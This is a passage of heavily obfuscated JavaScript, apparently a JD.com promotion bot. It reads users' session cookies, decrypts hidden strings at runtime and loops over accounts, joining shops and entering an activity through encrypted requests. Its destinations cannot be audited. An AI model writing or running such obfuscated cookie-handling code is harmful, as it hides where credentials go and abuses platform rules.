_0x1d3fcc(++_0x20bd5b,_0x991db5)>>_0x20bd5b^_0x991db5;}(_0x2af6,0xb2,0xb200),_0x2af6){_0xodU_=_0x2af6['length']^0xb2;};function _0x5704(_0x106210,_0x34dd05){_0x106210=~~'0x'['concat'](_0x106210['slice'](0x1));var _0x238c22=_0x2af6[_0x106210];if(_0x5704['XBNDnE']===undefined){(function(){var _0x28e5e5=function(){var _0x558919;try{_0x558919=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2df950){_0x558919=window;}return _0x558919;};var _0x1cd014=_0x28e5e5();var _0xb2b280='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1cd014['atob']||(_0x1cd014['atob']=function(_0x26cfda){var _0x34cc66=String(_0x26cfda)['replace'](/=+$/,'');for(var _0x12acfd=0x0,_0xb0266c,_0x1e91be,_0x36d371=0x0,_0x2bac3d='';_0x1e91be=_0x34cc66['charAt'](_0x36d371++);~_0x1e91be&&(_0xb0266c=_0x12acfd%0x4?_0xb0266c*0x40+_0x1e91be:_0x1e91be,_0x12acfd++%0x4)?_0x2bac3d+=String['fromCharCode'](0xff&_0xb0266c>>(-0x2*_0x12acfd&0x6)):0x0){_0x1e91be=_0xb2b280['indexOf'](_0x1e91be);}return _0x2bac3d;});}());function _0x1c7b3a(_0x1d8c4d,_0x34dd05){var _0x17b348=[],_0xcc52e=0x0,_0x1072cc,_0x2a0480='',_0x330c94='';_0x1d8c4d=atob(_0x1d8c4d);for(var _0x149d48=0x0,_0x4d16f6=_0x1d8c4d['length'];_0x149d48<_0x4d16f6;_0x149d48++){_0x330c94+='%'+('00'+_0x1d8c4d['charCodeAt'](_0x149d48)['toString'](0x10))['slice'](-0x2);}_0x1d8c4d=decodeURIComponent(_0x330c94);for(var _0x3f7eb8=0x0;_0x3f7eb8<0x100;_0x3f7eb8++){_0x17b348[_0x3f7eb8]=_0x3f7eb8;}for(_0x3f7eb8=0x0;_0x3f7eb8<0x100;_0x3f7eb8++){_0xcc52e=(_0xcc52e+_0x17b348[_0x3f7eb8]+_0x34dd05['charCodeAt'](_0x3f7eb8%_0x34dd05['length']))%0x100;_0x1072cc=_0x17b348[_0x3f7eb8];_0x17b348[_0x3f7eb8]=_0x17b348[_0xcc52e];_0x17b348[_0xcc52e]=_0x1072cc;}_0x3f7eb8=0x0;_0xcc52e=0x0;for(var _0x3df8db=0x0;_0x3df8db<_0x1d8c4d['length'];_0x3df8db++){_0x3f7eb8=(_0x3f7eb8+0x1)%0x100;_0xcc52e=(_0xcc52e+_0x17b348[_0x3f7eb8])%0x100;_0x1072cc=_0x17b348[_0x3f7eb8];_0x17b348[_0x3f7eb8]=_0x17b348[_0xcc52e];_0x17b348[_0xcc52e]=_0x1072cc;_0x2a0480+=String['fromCharCode'](_0x1d8c4d['charCodeAt'](_0x3df8db)^_0x17b348[(_0x17b348[_0x3f7eb8]+_0x17b348[_0xcc52e])%0x100]);}return _0x2a0480;}_0x5704['qWirwK']=_0x1c7b3a;_0x5704['mgPwXt']={};_0x5704['XBNDnE']=!![];}var _0x32dbe0=_0x5704['mgPwXt'][_0x106210];if(_0x32dbe0===undefined){if(_0x5704['LyYkJc']===undefined){_0x5704['LyYkJc']=!![];}_0x238c22=_0x5704['qWirwK'](_0x238c22,_0x34dd05);_0x5704['mgPwXt'][_0x106210]=_0x238c22;}else{_0x238c22=_0x32dbe0;}return _0x238c22;};const $=new Env(_0x5704('‮0','\x42\x73\x40\x76'));const jdCookieNode=$[_0x5704('‮1','\x4a\x74\x73\x31')]()?require(_0x5704('‮2','\x36\x4d\x6f\x42')):'';const notify=$[_0x5704('‫3','\x56\x6a\x53\x71')]()?require(_0x5704('‫4','\x68\x44\x38\x78')):'';let cookiesArr=[],cookie='';if($[_0x5704('‮5','\x50\x68\x29\x54')]()){Object[_0x5704('‮6','\x68\x70\x5b\x44')](jdCookieNode)[_0x5704('‮7','\x6e\x68\x69\x76')](_0x3f6ada=>{cookiesArr[_0x5704('‫8','\x75\x49\x4b\x36')](jdCookieNode[_0x3f6ada]);});if(process[_0x5704('‫9','\x4f\x69\x30\x6f')][_0x5704('‮a','\x5a\x45\x65\x69')]&&process[_0x5704('‫b','\x5a\x45\x65\x69')][_0x5704('‮c','\x6c\x76\x69\x5e')]===_0x5704('‫d','\x43\x26\x57\x4a'))console[_0x5704('‫e','\x52\x71\x45\x70')]=()=>{};}else{cookiesArr=[$[_0x5704('‫f','\x23\x68\x26\x31')](_0x5704('‫10','\x67\x70\x73\x4c')),$[_0x5704('‫11','\x75\x49\x4b\x36')](_0x5704('‫12','\x49\x78\x66\x34')),...jsonParse($[_0x5704('‮13','\x44\x6b\x4c\x48')](_0x5704('‮14','\x70\x21\x54\x48'))||'\x5b\x5d')[_0x5704('‮15','\x67\x70\x73\x4c')](_0x3b7d19=>_0x3b7d19[_0x5704('‫16','\x52\x71\x45\x70')])][_0x5704('‮17','\x4a\x74\x73\x31')](_0x2cd079=>!!_0x2cd079);}allMessage='';message='';$[_0x5704('‫18','\x63\x59\x45\x24')]=![];$[_0x5704('‮19','\x4a\x74\x73\x31')]=![];$[_0x5704('‫1a','\x72\x28\x6f\x59')]=![];let lz_jdpin_token_cookie='';let activityCookie='';let jd_wxSecond_activityId='';jd_wxSecond_activityId=$[_0x5704('‫1b','\x28\x4e\x49\x6e')]()?process[_0x5704('‮1c','\x33\x42\x34\x6c')][_0x5704('‮1d','\x63\x59\x45\x24')]?process[_0x5704('‮1e','\x72\x28\x6f\x59')][_0x5704('‮1f','\x4a\x74\x73\x31')]:''+jd_wxSecond_activityId:$[_0x5704('‮20','\x6c\x76\x69\x5e')](_0x5704('‮1f','\x4a\x74\x73\x31'))?$[_0x5704('‮21','\x21\x50\x40\x79')](_0x5704('‫22','\x4d\x4c\x33\x50')):''+jd_wxSecond_activityId;!(async()=>{var _0x565e7c={'\x65\x7a\x4b\x57\x70':_0x5704('‮23','\x58\x28\x7a\x75'),'\x6e\x4c\x56\x65\x62':_0x5704('‮24','\x2a\x57\x2a\x42'),'\x59\x4b\x69\x6f\x54':function(_0x3f2486,_0x568431){return _0x3f2486<_0x568431;},'\x65\x42\x58\x58\x4f':function(_0x3e5700,_0x44584c){return _0x3e5700(_0x44584c);},'\x65\x46\x6f\x61\x6a':function(_0x42478f,_0x2c5fe6){return _0x42478f+_0x2c5fe6;},'\x4b\x4f\x65\x47\x7a':function(_0x3def3d){return _0x3def3d();},'\x77\x75\x63\x52\x75':_0x5704('‫25','\x2a\x5d\x57\x49'),'\x7a\x48\x47\x6b\x49':function(_0x5f4d44){return _0x5f4d44();},'\x51\x62\x4a\x6b\x47':function(_0x39953f){return _0x39953f();},'\x69\x70\x51\x63\x63':function(_0x546491,_0x84ba45,_0x379fdc){return _0x546491(_0x84ba45,_0x379fdc);},'\x67\x6f\x69\x69\x6d':function(_0xa6d82d,_0x5ec224){return _0xa6d82d+_0x5ec224;},'\x61\x51\x44\x74\x61':function(_0x59f6c7,_0x4bf15b){return _0x59f6c7*_0x4bf15b;},'\x61\x59\x44\x70\x46':_0x5704('‮26','\x32\x70\x28\x76'),'\x69\x43\x57\x63\x5a':function(_0x1791e7,_0x4553ac){return _0x1791e7===_0x4553ac;},'\x79\x43\x64\x67\x54':_0x5704('‫27','\x4d\x4c\x33\x50'),'\x58\x5a\x57\x4c\x56':_0x5704('‫28','\x68\x44\x38\x78')};if(!cookiesArr[0x0]){$[_0x5704('‮29','\x72\x28\x6f\x59')]($[_0x5704('‫2a','\x49\x78\x66\x34')],_0x565e7c[_0x5704('‮2b','\x70\x46\x28\x68')],_0x565e7c[_0x5704('‮2c','\x64\x28\x50\x70')],{'open-url':_0x565e7c[_0x5704('‫2d','\x77\x35\x30\x47')]});return;}$[_0x5704('‫2e','\x78\x7a\x36\x69')]=jd_wxSecond_activityId;$[_0x5704('‫2f','\x5d\x51\x40\x40')]='';$[_0x5704('‫30','\x48\x4b\x35\x4b')]=_0x5704('‫31','\x70\x46\x28\x68')+$[_0x5704('‮32','\x4d\x4c\x33\x50')];console[_0x5704('‫33','\x63\x59\x45\x24')](_0x5704('‫34','\x31\x55\x72\x4e')+$[_0x5704('‮35','\x75\x49\x4b\x36')]);for(let _0x5725da=0x0;_0x565e7c[_0x5704('‮36','\x70\x46\x28\x68')](_0x5725da,cookiesArr[_0x5704('‫37','\x23\x68\x26\x31')]);_0x5725da++){cookie=cookiesArr[_0x5725da];if(cookie){$[_0x5704('‮38','\x51\x58\x6a\x30')]=_0x565e7c[_0x5704('‫39','\x28\x5b\x49\x52')](decodeURIComponent,cookie[_0x5704('‫3a','\x43\x26\x57\x4a')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5704('‮3b','\x28\x5b\x49\x52')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5704('‮3c','\x28\x54\x5b\x43')]=_0x565e7c[_0x5704('‫3d','\x33\x42\x34\x6c')](_0x5725da,0x1);message='';$[_0x5704('‮3e','\x63\x59\x45\x24')]=0x0;$[_0x5704('‫3f','\x6e\x62\x78\x33')]=![];$[_0x5704('‫40','\x52\x71\x45\x70')]='';console[_0x5704('‫41','\x68\x44\x38\x78')](_0x5704('‮42','\x31\x55\x72\x4e')+$[_0x5704('‮43','\x52\x71\x45\x70')]+'\u3011'+($[_0x5704('‮44','\x75\x59\x49\x48')]||$[_0x5704('‮38','\x51\x58\x6a\x30')])+_0x5704('‫45','\x58\x28\x7a\x75'));await _0x565e7c[_0x5704('‫46','\x4a\x74\x73\x31')](getUA);await _0x565e7c[_0x5704('‫47','\x5d\x51\x40\x40')](run);await $[_0x5704('‮48','\x4a\x74\x73\x31')](0x7d0);if($[_0x5704('‮49','\x44\x6b\x4c\x48')])break;}}cookie=cookiesArr[0x0];if(cookie&&$[_0x5704('‮4a','\x53\x75\x56\x74')]&&!$[_0x5704('‮4b','\x58\x28\x7a\x75')]&&!$[_0x5704('‮4c','\x21\x50\x40\x79')]){var _0x5a5395=_0x565e7c[_0x5704('‫4d','\x5a\x45\x65\x69')][_0x5704('‮4e','\x48\x4b\x35\x4b')]('\x7c'),_0x14d2de=0x0;while(!![]){switch(_0x5a5395[_0x14d2de++]){case'\x30':$[_0x5704('‮4f','\x42\x73\x40\x76')]=0x0;continue;case'\x31':await _0x565e7c[_0x5704('‫50','\x53\x4b\x54\x65')](getUA);continue;case'\x32':$[_0x5704('‫51','\x33\x42\x34\x6c')]='';continue;case'\x33':await _0x565e7c[_0x5704('‫52','\x63\x59\x45\x24')](run);continue;case'\x34':console[_0x5704('‮53','\x32\x70\x28\x76')](_0x5704('‮54','\x5b\x24\x6d\x62')+$[_0x5704('‫55','\x57\x4e\x63\x28')]+'\u3011'+($[_0x5704('‫56','\x2a\x5d\x57\x49')]||$[_0x5704('‫57','\x77\x35\x30\x47')])+_0x5704('‮58','\x63\x59\x45\x24'));continue;case'\x35':await $[_0x5704('‫59','\x75\x59\x49\x48')](_0x565e7c[_0x5704('‫5a','\x64\x28\x50\x70')](parseInt,_0x565e7c[_0x5704('‮5b','\x76\x46\x4e\x39')](_0x565e7c[_0x5704('‮5c','\x68\x44\x38\x78')](Math[_0x5704('‮5d','\x6e\x68\x69\x76')](),0x7d0),0xfa0),0xa));continue;case'\x36':$[_0x5704('‫5e','\x5a\x63\x59\x33')]=![];continue;case'\x37':$[_0x5704('‮5f','\x6c\x76\x69\x5e')]=0x1;continue;case'\x38':message='';continue;case'\x39':$[_0x5704('‫60','\x72\x28\x6f\x59')]=_0x565e7c[_0x5704('‮61','\x6e\x62\x78\x33')](decodeURIComponent,cookie[_0x5704('‫62','\x5a\x63\x59\x33')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5704('‫3a','\x43\x26\x57\x4a')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);continue;}break;}}if($[_0x5704('‮63','\x49\x78\x66\x34')]){let _0x282a59=_0x565e7c[_0x5704('‫64','\x77\x35\x30\x47')];$[_0x5704('‫65','\x48\x4b\x35\x4b')]($[_0x5704('‫66','\x6e\x68\x69\x76')],'',''+_0x282a59);if($[_0x5704('‫67','\x4d\x4c\x33\x50')]())await notify[_0x5704('‮68','\x33\x42\x34\x6c')](''+$[_0x5704('‫69','\x58\x28\x7a\x75')],''+_0x282a59);}if(allMessage){if(_0x565e7c[_0x5704('‫6a','\x57\x71\x4f\x63')](_0x565e7c[_0x5704('‮6b','\x21\x50\x40\x79')],_0x565e7c[_0x5704('‫6c','\x50\x68\x29\x54')])){console[_0x5704('‮6d','\x4d\x4c\x33\x50')](type+'\x20'+data);}else{$[_0x5704('‫6e','\x67\x70\x73\x4c')]($[_0x5704('‮6f','\x51\x58\x6a\x30')],'',''+allMessage);}}})()[_0x5704('‮70','\x4d\x4c\x33\x50')](_0x368850=>$[_0x5704('‮71','\x31\x55\x72\x4e')](_0x368850))[_0x5704('‫72','\x4a\x74\x73\x31')](()=>$[_0x5704('‮73','\x5a\x63\x59\x33')]());async function run(){var _0x253f5a={'\x69\x77\x62\x76\x54':function(_0x402f5b,_0x4e4c1f){return _0x402f5b!=_0x4e4c1f;},'\x68\x57\x70\x6e\x45':_0x5704('‫74','\x23\x68\x26\x31'),'\x64\x79\x46\x74\x50':function(_0x4446d5,_0x4465cc){return _0x4446d5==_0x4465cc;},'\x6e\x4f\x4b\x4a\x51':_0x5704('‫75','\x49\x78\x66\x34'),'\x6b\x4e\x62\x4d\x5a':_0x5704('‮76','\x64\x28\x50\x70'),'\x65\x6a\x67\x6b\x52':function(_0x216575){return _0x216575();},'\x6d\x68\x79\x63\x6a':function(_0x2afe79,_0x392e60){return _0x2afe79!=_0x392e60;},'\x57\x50\x49\x4e\x50':function(_0x2fb7f1,_0x24f241){return _0x2fb7f1==_0x24f241;},'\x61\x6a\x41\x63\x62':function(_0x1c14b0,_0x3e4989){return _0x1c14b0(_0x3e4989);},'\x56\x43\x46\x4a\x51':_0x5704('‫77','\x4f\x69\x30\x6f'),'\x55\x77\x76\x63\x49':function(_0x1bb350,_0x364494){return _0x1bb350==_0x364494;},'\x50\x56\x4f\x64\x72':function(_0x23b331,_0x3dc84d){return _0x23b331!==_0x3dc84d;},'\x71\x62\x6f\x7a\x72':_0x5704('‮78','\x5a\x63\x59\x33'),'\x70\x57\x70\x65\x6d':_0x5704('‫79','\x57\x4e\x63\x28'),'\x6b\x57\x58\x41\x58':_0x5704('‫7a','\x26\x43\x6c\x5a'),'\x6c\x64\x4c\x42\x45':function(_0x29ea11){return _0x29ea11();},'\x5a\x62\x6a\x66\x75':function(_0x55a41b,_0x210b90){return _0x55a41b==_0x210b90;},'\x79\x73\x74\x6b\x59':function(_0x9aa094,_0x3f46fb){return _0x9aa094===_0x3f46fb;},'\x4c\x53\x6c\x62\x79':_0x5704('‮7b','\x32\x70\x28\x76'),'\x6b\x48\x77\x4a\x77':_0x5704('‫7c','\x6e\x62\x78\x33'),'\x6a\x63\x69\x41\x7a':_0x5704('‮7d','\x5a\x45\x65\x69'),'\x53\x75\x66\x63\x69':_0x5704('‮7e','\x70\x46\x28\x68'),'\x44\x79\x55\x55\x75':_0x5704('‫7f','\x6e\x62\x78\x33'),'\x76\x6b\x43\x7a\x67':function(_0xb07870,_0x287eb1){return _0xb07870(_0x287eb1);},'\x42\x56\x79\x71\x59':_0x5704('‫80','\x28\x5b\x49\x52'),'\x62\x6c\x76\x4d\x73':_0x5704('‮81','\x58\x28\x7a\x75'),'\x71\x6d\x46\x4f\x4d':_0x5704('‮82','\x36\x4d\x6f\x42'),'\x71\x52\x6d\x72\x74':function(_0x576813,_0x134f53){return _0x576813(_0x134f53);},'\x78\x56\x56\x6e\x78':_0x5704('‫83','\x77\x35\x30\x47'),'\x43\x48\x63\x49\x62':_0x5704('‮84','\x6e\x68\x69\x76'),'\x65\x4d\x72\x6f\x6c':function(_0x1f3fbb,_0x26916f){return _0x1f3fbb===_0x26916f;},'\x54\x73\x6a\x49\x66':_0x5704('‫85','\x48\x4b\x35\x4b'),'\x43\x46\x53\x61\x55':_0x5704('‫86','\x67\x70\x73\x4c'),'\x6c\x75\x6e\x48\x42':function(_0x4eb959){return _0x4eb959();},'\x47\x67\x6a\x69\x62':function(_0x478de0,_0x2e9d12){return _0x478de0<_0x2e9d12;},'\x67\x67\x6c\x6a\x68':function(_0x223d76,_0x1d43db){return _0x223d76(_0x1d43db);},'\x52\x6e\x57\x62\x72':function(_0x780dae,_0x38db0c){return _0x780dae===_0x38db0c;},'\x64\x4a\x56\x52\x48':_0x5704('‫87','\x28\x4e\x49\x6e'),'\x4b\x57\x57\x48\x57':function(_0x1afaf6,_0x346859){return _0x1afaf6>_0x346859;},'\x52\x74\x64\x56\x57':function(_0x6a1bdb){return _0x6a1bdb();},'\x71\x50\x67\x50\x58':_0x5704('‫88','\x64\x28\x50\x70'),'\x69\x6b\x73\x6b\x69':function(_0x4f4dfd,_0x11367d){return _0x4f4dfd(_0x11367d);},'\x45\x46\x6b\x4e\x48':_0x5704('‫89','\x75\x49\x4b\x36'),'\x76\x4d\x6b\x53\x78':_0x5704('‮8a','\x6c\x76\x69\x5e'),'\x4e\x66\x53\x4f\x71':function(_0x1f23ce,_0x2bd2ef){return _0x1f23ce<_0x2bd2ef;},'\x4b\x78\x73\x58\x55':_0x5704('‮8b','\x70\x21\x54\x48'),'\x59\x62\x61\x6b\x55':function(_0x244845,_0x4c1fb9){return _0x244845==_0x4c1fb9;},'\x75\x47\x79\x4f\x68':function(_0x2dd429,_0xa39b1d){return _0x2dd429(_0xa39b1d);},'\x53\x57\x48\x4c\x6b':_0x5704('‮8c','\x72\x28\x6f\x59'),'\x6a\x53\x48\x5a\x6c':function(_0x1d2d30,_0x4e622a){return _0x1d2d30==_0x4e622a;},'\x62\x58\x76\x53\x71':function(_0x52bb26,_0x5a43e0){return _0x52bb26(_0x5a43e0);},'\x72\x67\x78\x45\x52':_0x5704('‮8d','\x77\x35\x30\x47'),'\x51\x67\x4e\x5a\x5a':_0x5704('‫8e','\x4a\x74\x73\x31'),'\x58\x6b\x41\x6f\x47':_0x5704('‮8f','\x6c\x76\x69\x5e'),'\x68\x44\x53\x42\x78':function(_0x2f4382,_0xbfdbfe){return _0x2f4382<_0xbfdbfe;},'\x71\x4d\x78\x72\x4f':function(_0x12ae6c,_0x5200c1){return _0x12ae6c===_0x5200c1;},'\x53\x4b\x72\x52\x59':_0x5704('‫90','\x44\x6b\x4c\x48'),'\x56\x66\x4b\x55\x75':_0x5704('‮91','\x42\x73\x40\x76'),'\x42\x58\x6f\x47\x62':function(_0x939d53,_0x17712c){return _0x939d53*_0x17712c;},'\x49\x4d\x46\x5a\x74':function(_0x2890fb,_0x171ad2){return _0x2890fb==_0x171ad2;},'\x58\x6e\x6c\x6c\x79':function(_0x4af7d4,_0x352724){return _0x4af7d4<_0x352724;},'\x43\x64\x6f\x7a\x5a':_0x5704('‫92','\x28\x4e\x49\x6e'),'\x78\x49\x64\x6e\x51':_0x5704('‮93','\x33\x42\x34\x6c'),'\x72\x4f\x45\x50\x64':function(_0x3ce134,_0x53abe5){return _0x3ce134(_0x53abe5);},'\x54\x65\x4e\x69\x44':_0x5704('‮94','\x4d\x4c\x33\x50'),'\x63\x4c\x74\x50\x6b':function(_0x4fa44e,_0x3f9262){return _0x4fa44e-_0x3f9262;},'\x4b\x73\x63\x71\x71':_0x5704('‮95','\x50\x68\x29\x54'),'\x78\x4c\x70\x65\x57':_0x5704('‫96','\x31\x55\x72\x4e'),'\x66\x61\x53\x4e\x48':_0x5704('‮97','\x5b\x24\x6d\x62'),'\x47\x45\x6f\x71\x74':function(_0x2913a1,_0x26d2fe){return _0x2913a1(_0x26d2fe);},'\x4c\x73\x4a\x4e\x4e':function(_0x1556af,_0x111050){return _0x1556af>_0x111050;},'\x45\x75\x63\x47\x6a':function(_0x327b3c,_0x456bf7){return _0x327b3c(_0x456bf7);},'\x43\x48\x6b\x43\x46':function(_0x1a0ffd,_0x1f3399){return _0x1a0ffd/_0x1f3399;},'\x42\x4d\x61\x6f\x69':function(_0x36db38,_0x10f7f5){return _0x36db38!==_0x10f7f5;},'\x57\x71\x4c\x68\x47':_0x5704('‫98','\x5b\x24\x6d\x62'),'\x49\x6f\x71\x72\x43':_0x5704('‫99','\x6e\x68\x69\x76'),'\x68\x4c\x44\x73\x67':function(_0x3af38d,_0xfc8b32){return _0x3af38d(_0xfc8b32);},'\x54\x6b\x54\x61\x4c':_0x5704('‫9a','\x6e\x62\x78\x33'),'\x53\x58\x44\x6a\x7a':function(_0x37af85,_0x1a456b){return _0x37af85==_0x1a456b;},'\x49\x42\x4a\x56\x43':function(_0x45ae96,_0x3c6741){return _0x45ae96<=_0x3c6741;},'\x4b\x7a\x4d\x4c\x6b':function(_0xd81923,_0x2c0f26){return _0xd81923>=_0x2c0f26;},'\x50\x66\x66\x41\x69':_0x5704('‫9b','\x6e\x62\x78\x33'),'\x6c\x65\x43\x4a\x67':_0x5704('‫9c','\x57\x4e\x63\x28'),'\x63\x75\x64\x43\x48':function(_0x115334,_0x7e5c29,_0x2e108d){return _0x115334(_0x7e5c29,_0x2e108d);},'\x68\x76\x70\x78\x53':function(_0x21c86d,_0x17ead7){return _0x21c86d+_0x17ead7;},'\x53\x72\x79\x4f\x67':function(_0x513b37,_0x18332d){return _0x513b37%_0x18332d;},'\x4a\x68\x64\x64\x7a':function(_0x1c6ade,_0x5afe7a){return _0x1c6ade*_0x5afe7a;}};try{$[_0x5704('‫9d','\x48\x4b\x35\x4b')]=0x0;$[_0x5704('‫9e','\x26\x43\x6c\x5a')]=0x0;lz_jdpin_token_cookie='';$[_0x5704('‮9f','\x67\x70\x73\x4c')]='';$[_0x5704('‮a0','\x56\x6a\x53\x71')]='';let _0x46d68d=![];await _0x253f5a[_0x5704('‫a1','\x64\x28\x50\x70')](takePostRequest,_0x253f5a[_0x5704('‮a2','\x70\x46\x28\x68')]);await $[_0x5704('‮a3','\x50\x68\x29\x54')](0x1f4);if(_0x253f5a[_0x5704('‫a4','\x57\x4e\x63\x28')]($[_0x5704('‫a5','\x77\x35\x30\x47')],'')){if(_0x253f5a[_0x5704('‮a6','\x51\x58\x6a\x30')](_0x253f5a[_0x5704('‮a7','\x67\x70\x73\x4c')],_0x253f5a[_0x5704('‮a8','\x31\x55\x72\x4e')])){console[_0x5704('‫a9','\x77\x35\x30\x47')](_0x253f5a[_0x5704('‫aa','\x64\x28\x50\x70')]);return;}else{if(resp&&_0x253f5a[_0x5704('‫ab','\x57\x4e\x63\x28')](typeof resp[_0x5704('‫ac','\x49\x78\x66\x34')],_0x253f5a[_0x5704('‫ad','\x52\x71\x45\x70')])){if(_0x253f5a[_0x5704('‮ae','\x36\x4d\x6f\x42')](resp[_0x5704('‫af','\x70\x21\x54\x48')],0x1ed)){console[_0x5704('‫b0','\x23\x68\x26\x31')](_0x253f5a[_0x5704('‮b1','\x53\x4b\x54\x65')]);$[_0x5704('‫b2','\x57\x71\x4f\x63')]=!![];}}console[_0x5704('‫b3','\x70\x21\x54\x48')](''+$[_0x5704('‫b4','\x44\x6b\x4c\x48')](err,err));console[_0x5704('‫b5','\x2a\x5d\x57\x49')](type+_0x5704('‮b6','\x21\x50\x40\x79'));}}await _0x253f5a[_0x5704('‮b7','\x49\x78\x66\x34')](getCk);if(_0x253f5a[_0x5704('‮b8','\x33\x42\x34\x6c')](activityCookie,'')){if(_0x253f5a[_0x5704('‮b9','\x42\x73\x40\x76')](_0x253f5a[_0x5704('‮ba','\x2a\x57\x2a\x42')],_0x253f5a[_0x5704('‮bb','\x28\x5b\x49\x52')])){console[_0x5704('‮bc','\x68\x70\x5b\x44')](type+'\x20'+data);}else{console[_0x5704('‫bd','\x44\x6b\x4c\x48')](_0x5704('‫be','\x5a\x45\x65\x69'));return;}}if(_0x253f5a[_0x5704('‫bf','\x57\x71\x4f\x63')]($[_0x5704('‫c0','\x51\x58\x6a\x30')],!![])){console[_0x5704('‫e','\x52\x71\x45\x70')](_0x253f5a[_0x5704('‮c1','\x2a\x57\x2a\x42')]);return;}if($[_0x5704('‫c2','\x4d\x4c\x33\x50')]){if(_0x253f5a[_0x5704('‮c3','\x67\x70\x73\x4c')](_0x253f5a[_0x5704('‮c4','\x75\x59\x49\x48')],_0x253f5a[_0x5704('‮c5','\x72\x28\x6f\x59')])){console[_0x5704('‫c6','\x49\x78\x66\x34')](type+'\x20'+(res[_0x5704('‫c7','\x36\x4d\x6f\x42')]||''));}else{console[_0x5704('‮c8','\x28\x54\x5b\x43')](_0x253f5a[_0x5704('‫c9','\x23\x68\x26\x31')]);return;}}await _0x253f5a[_0x5704('‫ca','\x48\x4b\x35\x4b')](takePostRequest,_0x253f5a[_0x5704('‮cb','\x28\x5b\x49\x52')]);await _0x253f5a[_0x5704('‮cc','\x2a\x46\x21\x69')](takePostRequest,_0x253f5a[_0x5704('‫cd','\x70\x21\x54\x48')]);if(!$[_0x5704('‮ce','\x4d\x4c\x33\x50')]){console[_0x5704('‫cf','\x33\x42\x34\x6c')](_0x253f5a[_0x5704('‮d0','\x72\x28\x6f\x59')]);return;}await _0x253f5a[_0x5704('‫d1','\x50\x68\x29\x54')](takePostRequest,_0x253f5a[_0x5704('‮d2','\x21\x50\x40\x79')]);await _0x253f5a[_0x5704('‫d3','\x57\x4e\x63\x28')](takePostRequest,_0x253f5a[_0x5704('‮d4','\x44\x6b\x4c\x48')]);if(!$[_0x5704('‫d5','\x43\x26\x57\x4a')]){if(_0x253f5a[_0x5704('‫d6','\x50\x68\x29\x54')](_0x253f5a[_0x5704('‫d7','\x4f\x69\x30\x6f')],_0x253f5a[_0x5704('‮d8','\x28\x5b\x49\x52')])){console[_0x5704('‮d9','\x43\x26\x57\x4a')](_0x253f5a[_0x5704('‮da','\x58\x28\x7a\x75')]);$[_0x5704('‫db','\x32\x70\x28\x76')]=!![];}else{$[_0x5704('‮dc','\x2a\x46\x21\x69')]='';$[_0x5704('‫dd','\x42\x73\x40\x76')]=$[_0x5704('‮de','\x57\x71\x4f\x63')];await _0x253f5a[_0x5704('‫df','\x67\x70\x73\x4c')](getshopactivityId);for(let _0x244b41=0x0;_0x253f5a[_0x5704('‮e0','\x21\x50\x40\x79')](_0x244b41,_0x253f5a[_0x5704('‮e1','\x5d\x51\x40\x40')](Array,0x5)[_0x5704('‫e2','\x2a\x46\x21\x69')]);_0x244b41++){if(_0x253f5a[_0x5704('‮e3','\x23\x68\x26\x31')](_0x253f5a[_0x5704('‫e4','\x28\x54\x5b\x43')],_0x253f5a[_0x5704('‮e5','\x28\x5b\x49\x52')])){if(_0x253f5a[_0x5704('‮e6','\x70\x46\x28\x68')](_0x244b41,0x0))console[_0x5704('‫e7','\x48\x4b\x35\x4b')]('\u7b2c'+_0x244b41+_0x5704('‫e8','\x26\x43\x6c\x5a'));await _0x253f5a[_0x5704('‫e9','\x44\x6b\x4c\x48')](joinShop);await $[_0x5704('‫ea','\x76\x46\x4e\x39')](0x1f4);if(_0x253f5a[_0x5704('‫eb','\x58\x28\x7a\x75')]($[_0x5704('‮ec','\x4d\x4c\x33\x50')][_0x5704('‮ed','\x50\x68\x29\x54')](_0x253f5a[_0x5704('‮ee','\x67\x70\x73\x4c')]),-0x1)){break;}}else{console[_0x5704('‮ef','\x70\x46\x28\x68')](e);}}}}await _0x253f5a[_0x5704('‫f0','\x28\x54\x5b\x43')](takePostRequest,_0x253f5a[_0x5704('‮f1','\x32\x70\x28\x76')]);await $[_0x5704('‮f2','\x32\x70\x28\x76')](0x1f4);if($[_0x5704('‮f3','\x5d\x51\x40\x40')])return;if(!$[_0x5704('‮f4','\x28\x4e\x49\x6e')]){console[_0x5704('‫f5','\x31\x55\x72\x4e')](_0x253f5a[_0x5704('‮f6','\x5b\x24\x6d\x62')]);return;}console[_0x5704('‫f7','\x53\x4b\x54\x65')](_0x5704('‮f8','\x70\x46\x28\x68')+$[_0x5704('‫f9','\x70\x46\x28\x68')]);for(let _0x45d655=0x0;_0x253f5a[_0x5704('‫fa','\x63\x59\x45\x24')](_0x45d655,0x3);_0x45d655++){if(_0x253f5a[_0x5704('‮fb','\x2a\x46\x21\x69')](_0x253f5a[_0x5704('‫fc','\x4a\x74\x73\x31')],_0x253f5a[_0x5704('‮fd','\x51\x58\x6a\x30')])){if(_0x253f5a[_0x5704('‮fe','\x32\x70\x28\x76')](_0x45d655,0x0)){await _0x253f5a[_0x5704('‮ff','\x28\x5b\x49\x52')](takePostRequest,_0x253f5a[_0x5704('‫100','\x76\x46\x4e\x39')]);}else if(_0x253f5a[_0x5704('‮101','\x28\x4e\x49\x6e')](_0x45d655,0x1)){await _0x253f5a[_0x5704('‮102','\x78\x7a\x36\x69')](takePostRequest,_0x253f5a[_0x5704('‮103','\x51\x58\x6a\x30')]);}else{await _0x253f5a[_0x5704('‫104','\x42\x73\x40\x76')](takePostRequest,_0x253f5a[_0x5704('‫105','\x43\x26\x57\x4a')]);}await $[_0x5704('‫106','\x4d\x4c\x33\x50')](0x1f4);var _0xc177c6=[0x2,0x3,0x4,0x5];if(_0x253f5a[_0x5704('‮107','\x2a\x46\x21\x69')]($[_0x5704('‮108','\x33\x42\x34\x6c')][_0x5704('‫37','\x23\x68\x26\x31')],0x0)){if(_0x253f5a[_0x5704('‮109','\x75\x59\x49\x48')](_0x253f5a[_0x5704('‫10a','\x78\x7a\x36\x69')],_0x253f5a[_0x5704('‮10b','\x6e\x68\x69\x76')])){try{return 